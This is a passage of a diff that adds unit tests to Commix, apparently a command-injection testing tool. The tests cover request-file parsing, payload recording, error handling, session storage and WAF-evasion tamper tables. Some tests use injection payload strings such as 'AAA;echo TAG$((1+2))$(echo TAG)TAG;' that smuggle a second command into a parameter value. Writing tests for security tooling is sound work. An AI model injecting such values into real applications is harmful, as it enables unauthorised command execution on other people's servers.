+_COMMAND_LINE = list(sys.argv) +try: + sys.argv = ["commix.py"] + from src.utils import settings + from src.core.parse import cmdline as menu + from src.core.parse import request +finally: + sys.argv = _COMMAND_LINE + +TARGET = "/review?x=1" +SETTINGS_STATE = ("RAW_HTTP_HEADERS", "HTTP_METHOD", "USER_DEFINED_POST_DATA", + "IGNORE_USER_DEFINED_POST_DATA", "MULTI_REQUEST_TARGETS", "SKIPPED_OUT_OF_SCOPE") +SOCKET_ATTEMPTS = [] + +""" +Fail closed: a parser test that reaches for the network is a broken test, not a slow one. +""" +def _no_transport(*args, **kwargs): + SOCKET_ATTEMPTS.append(args[:1]) + raise RuntimeError("Request parsing is exercised offline; no transport may be opened.") + +def _raw(*headers, **kwargs): + target = kwargs.get("target", TARGET) + return kwargs.get("method", "GET") + " " + target + " HTTP/1.1\n" + "".join(line + "\n" for line in headers) + "\n" + +class _OfflineRequests(unittest.TestCase): + """ + A captured request file, parsed through the public entry point, with the network and the + command line state it touches put back the way they were found. + """ + def setUp(self): + self.saved_options = dict(vars(menu.options)) + self.saved_command_line = dict(request._command_line_options) + self.saved_settings = {name: getattr(settings, name) for name in SETTINGS_STATE} + self.saved_sockets = (socket.socket, socket.create_connection, socket.getaddrinfo) + socket.socket, socket.create_connection, socket.getaddrinfo = _no_transport, _no_transport, _no_transport + # Nothing another test, an earlier suite or a real run left behind may decide what is expected here. + menu.options.scope = None + settings.SKIPPED_OUT_OF_SCOPE = [] + request._command_line_options.clear() + self.directory = tempfile.mkdtemp(prefix="commix-request-") + self.path = os.path.join(self.directory, "captured.invalid.txt") + + def tearDown(self): + socket.socket, socket.create_connection, socket.getaddrinfo = self.saved_sockets + for name in SETTINGS_STATE: + setattr(settings, name, self.saved_settings[name]) + vars(menu.options).clear() + vars(menu.options).update(self.saved_options) + request._command_line_options.clear() + request._command_line_options.update(self.saved_command_line) + shutil.rmtree(self.directory, ignore_errors=True) + self.assertEqual([], SOCKET_ATTEMPTS, "a request parser test opened a transport") + + def write(self, text): + with open(self.path, "w", encoding=settings.DEFAULT_CODEC) as handle: + handle.write(text) + return self.path + + def targets(self, text): + try: + return request.parse_requests(self.write(text)) + except SystemExit: + self.fail("a valid captured request was rejected: " + repr(text)) + + def rejected(self, text): + with self.assertRaises(SystemExit): + request.parse_requests(self.write(text)) + +class HeaderValue(_OfflineRequests): + """ + The optional whitespace a field line may carry, read off the value of one known header. + Guarded like the rest: a helper test that opens a transport is just as wrong as a parse one. + """ + def test_a_plain_space_is_not_part_of_the_value(self): + for line in ("Host: asset.invalid", "host: asset.invalid", "HOST: asset.invalid"): + self.assertEqual("asset.invalid", request._extract_header_value(settings.HOST, line)) + + def test_no_whitespace_after_the_colon_is_allowed(self): + for line in ("Host:asset.invalid", "Host:\tasset.invalid", "User-Agent:probe-a/1.0"): + expected = "asset.invalid" if "Host" in line else "probe-a/1.0" + name = settings.HOST if "Host" in line else settings.USER_AGENT + self.assertEqual(expected, request._extract_header_value(name, line)) + + def test_the_boundary_whitespace_of_the_value_is_dropped(self): + for line, expected in (("Host: asset.invalid", "asset.invalid"), + ("Host: \t asset.invalid", "asset.invalid"), + ("Host:\tasset.invalid \t", "asset.invalid"), + ("Host: asset.invalid ", "asset.invalid"), + ("Cookie: \ta=1; b=2\t", "a=1; b=2")): + self.assertEqual(expected, request._extract_header_value(line.split(":")[0], line)) + + def test_the_inside_of_the_value_is_left_alone(self): + for line, expected in (("Cookie: a=1; b=2", "a=1; b=2"), + ("Referer: https://ref.invalid/p?q=a:b", "https://ref.invalid/p?q=a:b"), + ("User-Agent: probe agent/1.0", "probe agent/1.0")): + self.assertEqual(expected, request._extract_header_value(line.split(":")[0], line)) + + def test_a_different_header_is_not_the_one_asked_for(self): + for name, line in ((settings.HOST, "X-Host: other.invalid"), + (settings.HOST, "Hosted-By: other.invalid"), + (settings.HOST, "User-Agent: probe-a/1.0")): + self.assertIsNone(request._extract_header_value(name, line)) + +class ParsedRequest(_OfflineRequests): + """ + The same field line, read through the public parse of a captured request file. + """ + def test_a_standard_request_is_parsed_as_before(self): + targets = self.targets(_raw("Host: asset.invalid", "User-Agent: probe-a/1.0", + "Cookie: a=1; b=2", "Referer: http://ref.invalid/p?q=a:b")) + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("probe-a/1.0", targets[0]["agent"]) + self.assertEqual("a=1; b=2", targets[0]["cookie"]) + self.assertEqual("http://ref.invalid/p?q=a:b", targets[0]["referer"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + + def test_a_host_field_parses_whatever_whitespace_follows_its_colon(self): + for line in ("Host: asset.invalid", + "Host:asset.invalid", + "Host:\tasset.invalid", + "Host: asset.invalid", + "Host: \t asset.invalid", + "Host:\tasset.invalid \t", + "hOsT: asset.invalid"): + with self.subTest(line=line): + targets = self.targets(_raw(line)) + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + + def test_the_boundary_whitespace_of_a_known_field_does_not_survive(self): + targets = self.targets(_raw("Host: asset.invalid", "User-Agent:\tprobe agent/1.0 \t", + "Cookie:\ta=1; b=2 ", "Referer: https://ref.invalid/p?q=a:b ")) + self.assertEqual("probe agent/1.0", targets[0]["agent"]) + self.assertEqual("a=1; b=2", targets[0]["cookie"]) + self.assertEqual("https://ref.invalid/p?q=a:b", targets[0]["referer"]) + + def test_a_host_field_without_a_value_is_rejected(self): + for line in ("Host:", "Host: ", "Host:\t", "Host: \t "): + with self.subTest(line=line): + self.rejected(_raw(line, "User-Agent: probe-a/1.0")) + + def test_a_request_without_a_host_field_is_rejected(self): + self.rejected(_raw("User-Agent: probe-a/1.0", "Cookie: a=1")) + + def test_a_field_that_only_ends_in_host_is_not_the_host(self): + for line in ("X-Host: other.invalid", "X-Forwarded-Host: other.invalid", "Hosted-By: other.invalid"): + with self.subTest(line=line): + self.rejected(_raw(line, "User-Agent: probe-a/1.0")) + + def test_a_host_named_field_does_not_overrule_the_real_one(self): + targets = self.targets(_raw("Host: asset.invalid", "X-Forwarded-Host: other.invalid", + "X-Host: other.invalid")) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + +class LogfileTarget(_OfflineRequests): + """ + The same file, applied to the run's options the way '--requestfile' applies it. + """ + def test_a_captured_request_becomes_the_run_target(self): + self.write(_raw("Host:asset.invalid", "User-Agent:\tprobe-a/1.0", "Referer: https://ref.invalid/")) + menu.options.requestfile = self.path + menu.options.logfile = None + targets = request.logfile_parser() + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", menu.options.host) + self.assertEqual("probe-a/1.0", menu.options.agent) + self.assertEqual("https://ref.invalid/", menu.options.referer) + self.assertEqual("https://asset.invalid" + TARGET, menu.options.url) + self.assertTrue(settings.RAW_HTTP_HEADERS.startswith("Host:")) + self.assertEqual(targets, settings.MULTI_REQUEST_TARGETS) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_requests.py b/tests/test_requests.py new file mode 100644 index 0000000000..993f9813b8 --- /dev/null +++ b/tests/test_requests.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.requests import requests, headers +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +class WhatIsRecordedIsThePayloadNotTheRequest(unittest.TestCase): + """ + The scripts rewrite a payload for the run they are loaded in, and what they write belongs to that + run - a name drawn at random this time is not the one the next run draws. Handed back, it becomes + the payload of record, written into the session and read out of it by a run that can no longer + make sense of it. + """ + PAYLOAD = "AAA;echo TAG$((1+2))$(echo TAG)TAG;" + + def setUp(self): + self._state = (list(settings.MULTI_ENCODED_PAYLOAD), settings.TARGET_OS, list(settings.WHITESPACES), + settings.INJECT_TAG, requests.init_injection) + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + self.sent = [] + requests.init_injection = lambda payload, method, url: (self.sent.append(payload), (0.0, "addr"))[1] + + def tearDown(self): + (settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.WHITESPACES, + settings.INJECT_TAG, requests.init_injection) = self._state + + def _injected(self): + _, _, payload, _, _ = requests.perform_injection("", "", settings.SINGLE_WHITESPACE, self.PAYLOAD, + "addr", settings.HTTPMETHOD.GET, "http://t/a.php?addr=1") + return payload + + def test_with_no_script_in_use_it_is_what_went_out(self): + settings.MULTI_ENCODED_PAYLOAD = [] + self.assertEqual(self.PAYLOAD, self._injected()) + self.assertEqual([self.PAYLOAD], self.sent) + + def test_a_script_rewrites_what_is_sent_and_not_what_is_recorded(self): + settings.MULTI_ENCODED_PAYLOAD = ["uninitializedvariable"] + recorded = self._injected() + self.assertEqual(self.PAYLOAD, recorded) + # The request itself still carries the rewrite, which is the whole point of the script. + self.assertNotEqual(self.PAYLOAD, self.sent[0]) + self.assertIn("${", self.sent[0]) + +class ResponseTimeSample(unittest.TestCase): + """ + Which answers count as one, when the model that times them is being filled. + """ + def setUp(self): + self.ignore_code = list(settings.IGNORE_CODE) + self.send_raw = headers.send_raw + self.apply_request_policy = headers.apply_request_policy + self.do_check = headers.do_check + headers.apply_request_policy = lambda *a, **k: None + headers.do_check = lambda *a, **k: None + + def tearDown(self): + settings.IGNORE_CODE[:] = self.ignore_code + headers.send_raw = self.send_raw + headers.apply_request_policy = self.apply_request_policy + headers.do_check = self.do_check + + # A target answering every request with the same error code, as '--ignore-code' was given for. + def refuse_with(self, code): + def send_raw(request, policy=True): + raise _urllib.error.HTTPError(request.full_url, code, "refused", {}, None) + headers.send_raw = send_raw + + def test_an_ignored_error_code_is_still_a_timed_answer(self): + """ + Every technique reads such a response as the target speaking. Thrown away here, a target that + answers each request the same way fills nothing in, and the run is stopped for having had no + answer at all - on a parameter other techniques may already be confirmed on. + """ + settings.IGNORE_CODE[:] = [500] + self.refuse_with(500) + sample = requests.quick_response_time_sample("http://127.0.0.1/x.php?a=1", "GET") + self.assertIsNotNone(sample) + self.assertGreaterEqual(sample, 0) + + def test_an_error_code_nobody_asked_to_ignore_is_not(self): + settings.IGNORE_CODE[:] = [] + self.refuse_with(500) + self.assertIsNone(requests.quick_response_time_sample("http://127.0.0.1/x.php?a=1", "GET")) + +if __name__ == "__main__": + unittest.main() + +class AStatusIsReadOnEveryRequestNotJustTheFirst(unittest.TestCase): + """ + What a status says about the target is true of whichever request it answered. Read only on the + run's opening request, a '414' went unexplained, a chunked body the target would not take was + never sent again without it, and every other error code passed in silence. + """ + def setUp(self): + self._state = (settings.TOTAL_OF_REQUESTS, set(settings.WARNED_HTTP_ERROR_CODES), + settings.print_data_to_stdout, settings.USER_DEFINED_POST_DATA) + self.said = [] + settings.print_data_to_stdout = lambda text: self.said.append(str(text)) + settings.WARNED_HTTP_ERROR_CODES = set() + # Well past the opening request, which is where every real payload is sent from. + settings.TOTAL_OF_REQUESTS = 42 + + def tearDown(self): + (settings.TOTAL_OF_REQUESTS, settings.WARNED_HTTP_ERROR_CODES, + settings.print_data_to_stdout, settings.USER_DEFINED_POST_DATA) = self._state + + def _refused(self, code, reason): + return _urllib.error.HTTPError("http://target/x", code, reason, {}, None) + + def test_a_request_line_the_target_will_not_take_is_explained(self): + requests.request_failed(self._refused(414, "Request-URI Too Long")) + said = " ".join(self.said) + self.assertIn("414", said) + self.assertIn("longer than it accepts", said) + + def test_the_way_past_it_is_named(self): + settings.USER_DEFINED_POST_DATA = "" + requests.request_failed(self._refused(414, "Request-URI Too Long")) + self.assertIn("--data", " ".join(self.said)) + + def test_any_other_error_code_is_still_reported_as_interference(self): + requests.request_failed(self._refused(500, "Internal Server Error")) + self.assertIn("could interfere", " ".join(self.said)) + + def test_a_chunked_body_the_target_will_not_read_is_turned_off(self): + from src.core.parse import cmdline as menu + self._chunked = (menu.options.chunked, settings.CHUNKED_UNSUPPORTED) + try: + menu.options.chunked, settings.CHUNKED_UNSUPPORTED = True, False + self.assertTrue(requests.request_failed(self._refused(405, "Method Not Allowed"))) + self.assertFalse(menu.options.chunked) + self.assertIn("chunked", " ".join(self.said)) + finally: + menu.options.chunked, settings.CHUNKED_UNSUPPORTED = self._chunked + + def test_it_is_said_once_rather_than_on_every_request_that_is_refused(self): + for _ in range(4): + requests.request_failed(self._refused(414, "Request-URI Too Long")) + self.assertEqual(1, len([_ for _ in self.said if "longer than it accepts" in _])) + +class WhatARedirectSaidIsTrueOfItsOwnRequest(unittest.TestCase): + """ + The code is set by the redirect handler as a request is answered. Never cleared, it outlived that + request: the one named in the question put to the user, and read by whatever asked later whether + a redirect had happened at all, was whichever the run had last been sent anywhere. + """ + def setUp(self): + self._state = (settings.REDIRECT_CODE, settings.DELAY, settings.ADAPTIVE_DELAY, + settings.REQUEST_COUNTER, menu.options.jitter, menu.options.proxy_freq, + menu.options.safe_freq) + settings.DELAY = 0 + settings.ADAPTIVE_DELAY = 0 + menu.options.jitter = 0 + menu.options.proxy_freq = None + menu.options.safe_freq = None + + def tearDown(self): + (settings.REDIRECT_CODE, settings.DELAY, settings.ADAPTIVE_DELAY, settings.REQUEST_COUNTER, + menu.options.jitter, menu.options.proxy_freq, menu.options.safe_freq) = self._state + + def test_a_request_does_not_start_carrying_the_one_before_it(self): + settings.REDIRECT_CODE = 301 + headers.apply_request_policy() + self.assertFalse(settings.REDIRECT_CODE) + + def test_a_request_that_was_never_redirected_says_so(self): + headers.apply_request_policy() + self.assertEqual("", settings.REDIRECT_CODE) + + +class ACodeTheRequestWentLookingForIsNotInterference(unittest.TestCase): + """ + The read that checks whether the output file is still served answers "deleted" with a '404', so + warning about it told the operator that the one thing which had gone right might be interfering + with the tests. + """ + def setUp(self): + self._state = (settings.TOTAL_OF_REQUESTS, set(settings.WARNED_HTTP_ERROR_CODES)) + # Past the first request, which is where this warning used to be confined. + settings.TOTAL_OF_REQUESTS = 42 + settings.WARNED_HTTP_ERROR_CODES = set() + self.said = [] + self._print = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda text: self.said.append(str(text)) + + def tearDown(self): + settings.print_data_to_stdout = self._print + settings.TOTAL_OF_REQUESTS, settings.WARNED_HTTP_ERROR_CODES = self._state + settings.set_side_request("file_check", False) + + def _not_found(self): + return _urllib.error.HTTPError("http://t/o.txt", 404, "Not Found", {}, None) + + def test_a_404_on_an_ordinary_request_is_still_worth_saying(self): + requests.request_failed(self._not_found()) + self.assertTrue([_ for _ in self.said if "could interfere" in _]) + + def test_the_file_check_is_not_warned_about_for_finding_what_it_asked(self): + settings.set_side_request("file_check", True) + requests.request_failed(self._not_found()) + self.assertFalse([_ for _ in self.said if "could interfere" in _]) + + def test_the_check_puts_the_marker_back_when_it_is_done(self): + from src.core.controller import checks + settings.DEFINED_WEBROOT = "" + checks.output_file_still_served() + self.assertFalse(settings.in_side_request("file_check")) diff --git a/tests/test_session.py b/tests/test_session.py new file mode 100644 index 0000000000..6755bab9dc --- /dev/null +++ b/tests/test_session.py @@ -0,0 +1,287 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import shutil +import sqlite3 +import tempfile +import unittest + +from tests import _testutils +from src.core.parse import cmdline as menu +from src.utils import settings +from src.utils import session_handler +from src.core.controller import checks + +class SessionFixture(unittest.TestCase): + """ + A session file of its own per test, and the globals a stored finding is read back against. + """ + URL = "http://t/a.php?addr=127.0.0.1" + + def setUp(self): + self._dir = tempfile.mkdtemp(prefix="commix-session-") + self._state = (settings.SESSION_FILE, settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + menu.options.data, menu.options.prefix, menu.options.ignore_session, + menu.options.flush_session, settings.REPLAY_NOTICES_SAID) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.SESSION_FILE = os.path.join(self._dir, "session.db") + settings.TESTABLE_VALUE = "127.0.0.1" + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.REPLAY_NOTICES_SAID = set() + menu.options.data = None + menu.options.prefix = None + menu.options.ignore_session = False + menu.options.flush_session = False + + def tearDown(self): + (settings.SESSION_FILE, settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_OPTIMIZED, + menu.options.data, menu.options.prefix, menu.options.ignore_session, + menu.options.flush_session, settings.REPLAY_NOTICES_SAID) = self._state + settings.print_data_to_stdout = self._out + shutil.rmtree(self._dir, ignore_errors=True) + + def stored_placeholder(self): + return session_handler.check_stored_testable_value(self.URL, "addr", "GET") + +class TheSessionKeepsOneRowPerThingItKnows(SessionFixture): + """ + The value under test is stood in for by a placeholder made fresh every run, so the address a + point is filed under differs from one run to the next for the very same point. Grouped on the + whole of that address, the sweep that is meant to leave one row per point left every one of them, + and the file grew by a row for every run that found the same point again. + """ + def _rows(self, suffix): + table = session_handler.table_name(self.URL) + suffix + with sqlite3.connect(settings.SESSION_FILE) as conn: + return conn.execute("SELECT COUNT(*) FROM \"" + table + "\";").fetchone()[0] + + def _point(self, placeholder, payload): + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (id INTEGER PRIMARY KEY, url VARCHAR, " + "technique VARCHAR, vuln_parameter VARCHAR, http_header VARCHAR, payload VARCHAR);") + conn.execute("INSERT INTO \"" + table + "\" (url, technique, vuln_parameter, http_header, payload) " + "VALUES (?, ?, ?, ?, ?);", + ("http://t/a.php?addr=" + placeholder + "INJECT_HERE", + "results-based command injection technique", "addr", "", payload)) + conn.commit() + + def test_the_same_point_found_again_does_not_add_a_row(self): + for placeholder in ("YJY", "AHF", "EOH"): + self._point(placeholder, "payload-" + placeholder) + session_handler.clear(self.URL) + self.assertEqual(1, self._rows("_ip")) + + def test_the_row_kept_is_the_one_a_resumed_run_would_have_used(self): + # Read back in order with the last of them kept, so the newest is the one that was in use - and + # the only one whose stored payload was built with the options this session was given. + for placeholder in ("YJY", "AHF", "EOH"): + self._point(placeholder, "payload-" + placeholder) + session_handler.clear(self.URL) + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + self.assertEqual("payload-EOH", conn.execute("SELECT payload FROM \"" + table + "\";").fetchone()[0]) + + def test_a_point_at_another_address_is_a_point_of_its_own(self): + self._point("YJY", "payload-one") + table = session_handler.table_name(self.URL) + "_ip" + with sqlite3.connect(settings.SESSION_FILE) as conn: + conn.execute("INSERT INTO \"" + table + "\" (url, technique, vuln_parameter, http_header, payload) " + "VALUES (?, ?, ?, ?, ?);", ("http://t/b.php?addr=AHFINJECT_HERE", + "results-based command injection technique", "addr", "", "payload-two")) + conn.commit() + session_handler.clear(self.URL) + self.assertEqual(2, self._rows("_ip")) + + def test_a_command_asked_again_replaces_its_answer_rather_than_joining_it(self): + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "id", "uid=0(root)", "addr") + self.assertEqual(1, self._rows("_ir")) + self.assertEqual("uid=0(root)", session_handler.export_stored_cmd(self.URL, "id", "addr")) + + def test_another_command_is_an_answer_of_its_own(self): + session_handler.store_cmd(self.URL, "id", "uid=33(www-data)", "addr") + session_handler.store_cmd(self.URL, "whoami", "www-data", "addr") + self.assertEqual(2, self._rows("_ir")) + self.assertEqual("www-data", session_handler.export_stored_cmd(self.URL, "whoami", "addr")) + +class OnlyCredentialsThatAreAPairAreKept(SessionFixture): + """ + What the store holds is a username and a password. A bearer token is neither half of one - it is + a single value, with no colon in it to split on. + """ + def setUp(self): + SessionFixture.setUp(self) + self._auth = (menu.options.auth_cred, menu.options.auth_type, settings.LOAD_SESSION) + settings.LOAD_SESSION = False + + def tearDown(self): + (menu.options.auth_cred, menu.options.auth_type, settings.LOAD_SESSION) = self._auth + SessionFixture.tearDown(self) + + def _stored(self): + return session_handler.export_valid_credentials(self.URL, menu.options.auth_type) + + def test_a_bearer_token_is_left_alone(self): + menu.options.auth_type, menu.options.auth_cred = "Bearer", "eyJhbGciOiJIUzI1NiJ9.e30.abc" + self.assertFalse(session_handler.store_given_credentials(self.URL)) + self.assertIsNone(self._stored()) + + def test_a_username_and_password_are_kept_as_the_pair_they_are(self): + menu.options.auth_type, menu.options.auth_cred = "Basic", "admin:s3cr3t" + self.assertTrue(session_handler.store_given_credentials(self.URL)) + self.assertEqual("admin:s3cr3t", self._stored()) + + def test_a_password_carrying_a_colon_keeps_the_rest_of_it(self): + menu.options.auth_type, menu.options.auth_cred = "Digest", "admin:a:b" + self.assertTrue(session_handler.store_given_credentials(self.URL)) + self.assertEqual("admin:a:b", self._stored()) + + def test_nothing_is_kept_from_a_session_that_is_being_read_back(self): + menu.options.auth_type, menu.options.auth_cred = "Basic", "admin:s3cr3t" + settings.LOAD_SESSION = True + self.assertFalse(session_handler.store_given_credentials(self.URL)) + self.assertIsNone(self._stored()) + +class AStandInIsRememberedOnlyWhereItHeld(SessionFixture): + """ + The parameter's own value is dropped on what the heuristic answered, and a technique may still + need it back. What the session records has to be what the stored finding was made with. + """ + def store(self, optimized, value): + settings.TESTABLE_VALUE_OPTIMIZED = optimized + settings.TESTABLE_VALUE = value + session_handler.import_injection_points( + self.URL, settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TYPE.RESULTS_BASED_CI, + "", ";", True, "addr", value, "", "TAG", False, value + ";echo TAG;", "GET", 0, 0, 0, 0, "1") + + def test_a_stand_in_the_finding_was_made_with_is_recorded(self): + self.store(optimized=True, value="ABC") + self.assertEqual("ABC", self.stored_placeholder()) + + def test_a_finding_made_with_the_value_records_none(self): + self.store(optimized=False, value="127.0.0.1") + self.assertIsNone(self.stored_placeholder()) + + def test_one_refused_afterwards_is_forgotten_rather_than_left_behind(self): + self.store(optimized=True, value="ABC") + # What the restore-and-retry path leaves: the value put back, the point found with it. + self.store(optimized=False, value="127.0.0.1") + self.assertIsNone(self.stored_placeholder()) + + def test_the_probe_alone_records_nothing(self): + from src.core.controller import controller + self.assertNotIn("import_testable_value_status", + controller.probe_skip_testable_value_early.__code__.co_names) + +class AReplayUsesWhatTheFindingWasMadeWith(SessionFixture): + """ + A stand-in is put back into the request being replayed, and nothing else is. + """ + def tagged(self, value): + return "http://t/a.php?addr=" + value + settings.INJECT_TAG + + def test_a_stored_stand_in_is_put_back_into_the_body(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + menu.options.data = "addr=127.0.0.1" + settings.INJECT_TAG + session_handler.reapply_testable_value(self.URL, "addr", "GET") + self.assertEqual("addr=ABC" + settings.INJECT_TAG, menu.options.data) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + self.assertTrue(settings.TESTABLE_VALUE_OPTIMIZED) + + def test_an_address_already_carrying_it_is_left_as_it_is(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + url = session_handler.reapply_testable_value(self.tagged("ABC"), "addr", "GET") + self.assertEqual(self.tagged("ABC"), url) + self.assertEqual("ABC", settings.TESTABLE_VALUE) + + def test_a_finding_made_with_the_value_is_not_rewritten_by_an_older_row(self): + # A session file written before the stand-in was recorded with the finding can hold one the run + # went on to refuse. The address says which value the stored finding was made with. + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + url, prefix = session_handler.reapply_testable_value(self.tagged("127.0.0.1"), "addr", "GET", "127.0.0.1") + self.assertEqual(self.tagged("127.0.0.1"), url) + self.assertEqual("127.0.0.1", prefix) + self.assertFalse(settings.TESTABLE_VALUE_OPTIMIZED) + + def test_nothing_is_done_where_no_stand_in_was_recorded(self): + url, prefix = session_handler.reapply_testable_value(self.tagged("127.0.0.1"), "addr", "GET", "ZZZ") + self.assertEqual(self.tagged("127.0.0.1"), url) + self.assertEqual("ZZZ", prefix) + +class AReplayedFindingIsWrittenOutWithTheValueTheRunWasGiven(SessionFixture): + """ + The address a replay carries is the stored finding's own, holding the stand-in rather than the + value - so what this run was given is kept as the stand-in takes its place. Without it a resumed + finding goes out carrying three letters where the run that first found it wrote the value. + """ + def setUp(self): + SessionFixture.setUp(self) + self._stood_in_for = settings.TESTABLE_VALUE_STOOD_IN_FOR + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" + + def tearDown(self): + settings.TESTABLE_VALUE_STOOD_IN_FOR = self._stood_in_for + SessionFixture.tearDown(self) + + def test_the_value_is_kept_as_the_stand_in_takes_its_place(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + session_handler.reapply_testable_value("http://t/a.php?addr=ABC" + settings.INJECT_TAG, "addr", "GET") + self.assertEqual("127.0.0.1", settings.TESTABLE_VALUE_STOOD_IN_FOR) + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("ABC;echo TAG;")) + + def test_nothing_is_kept_where_the_finding_was_made_with_the_value(self): + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + session_handler.reapply_testable_value("http://t/a.php?addr=127.0.0.1" + settings.INJECT_TAG, "addr", "GET", "127.0.0.1") + self.assertEqual("", settings.TESTABLE_VALUE_STOOD_IN_FOR) + +class APrefixOfTheUsersOwnOutranksTheStandIn(SessionFixture): + """ + '--prefix' names what goes in front of the payload. A stand-in for the parameter's value is not + that, and replacing one with the other sends a payload nobody asked for. + """ + def setUp(self): + SessionFixture.setUp(self) + session_handler.import_testable_value_status(self.URL, "addr", "GET", "ABC") + self.url = "http://t/a.php?addr=ABC" + settings.INJECT_TAG + + def test_the_value_it_stands_in_for_is_the_only_prefix_rewritten(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "127.0.0.1") + self.assertEqual("ABC", prefix) + + def test_a_prefix_naming_something_else_is_kept(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertEqual("ZZZ", prefix) + + def test_a_boundary_prefix_is_kept(self): + url, prefix = session_handler.reapply_testable_value(self.url, "addr", "GET", "\")") + self.assertEqual("\")", prefix) + + def test_a_prefix_given_now_against_a_stored_one_is_said_out_loud(self): + menu.options.prefix = "YYY" + session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertTrue(any("prefix" in str(_) and "YYY" in str(_) for _ in self.said)) + + def test_the_same_prefix_as_the_stored_one_is_said_nothing_about(self): + menu.options.prefix = "ZZZ" + session_handler.reapply_testable_value(self.url, "addr", "GET", "ZZZ") + self.assertEqual([], self.said) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_settings.py b/tests/test_settings.py new file mode 100644 index 0000000000..c675444b98 --- /dev/null +++ b/tests/test_settings.py @@ -0,0 +1,251 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import subprocess +import sys +import tempfile +import unittest + +from tests._testutils import tamper_modules +from src.utils import settings + +class IgnoreCodeWildcard(unittest.TestCase): + """ + What '--ignore-code' is given to mean every code rather than a list of them. + """ + def test_the_wildcard_is_one_character(self): + self.assertEqual("*", settings.IGNORE_CODE_WILDCARD) + + def test_it_is_not_a_code_any_list_could_hold(self): + self.assertFalse(settings.IGNORE_CODE_WILDCARD.isdigit()) + +class TamperTables(unittest.TestCase): + """ + Every table that names a tamper script has to name one that exists, or the run reaches for a + module that is not there - and nothing short of hitting that line would say so. + """ + def setUp(self): + self.scripts = set(tamper_modules()) + + def test_the_flag_dictionary_covers_exactly_the_scripts_on_disk(self): + self.assertEqual(self.scripts, set(settings.TAMPER_SCRIPTS)) + + def test_the_evasion_profile_names_scripts_that_exist(self): + missing = [] + for target_os, tiers in settings.WAF_EVASION_PROFILE.items(): + for tier in tiers: + for script in tier.split(","): + if script.strip() not in self.scripts: + missing.append(target_os + ": " + script) + self.assertEqual([], missing) + + def test_the_evasion_profile_tiers_hold_no_conflicting_pair(self): + conflicts = set(tuple(sorted(pair)) for pair in settings.INCOMPATIBLE_TAMPER_SCRIPTS) + offenders = [] + for target_os, tiers in settings.WAF_EVASION_PROFILE.items(): + for tier in tiers: + scripts = [_.strip() for _ in tier.split(",")] + for first in scripts: + for second in scripts: + if first < second and (first, second) in conflicts: + offenders.append(target_os + ": " + first + " with " + second) + self.assertEqual([], offenders) + + def test_the_conflict_pairs_name_scripts_that_exist(self): + missing = [] + for pair in settings.INCOMPATIBLE_TAMPER_SCRIPTS: + for script in pair: + if script not in self.scripts: + missing.append(script) + self.assertEqual([], missing) + + def test_a_script_is_never_declared_to_conflict_with_itself(self): + self.assertEqual([], [_ for _ in settings.INCOMPATIBLE_TAMPER_SCRIPTS if _[0] == _[1]]) + +class SeparatorTables(unittest.TestCase): + """ + The separators a payload can be built on. + """ + def test_each_level_holds_the_one_below_it(self): + self.assertTrue(set(settings.SEPARATORS_LVL1).issubset(set(settings.SEPARATORS_LVL2))) + 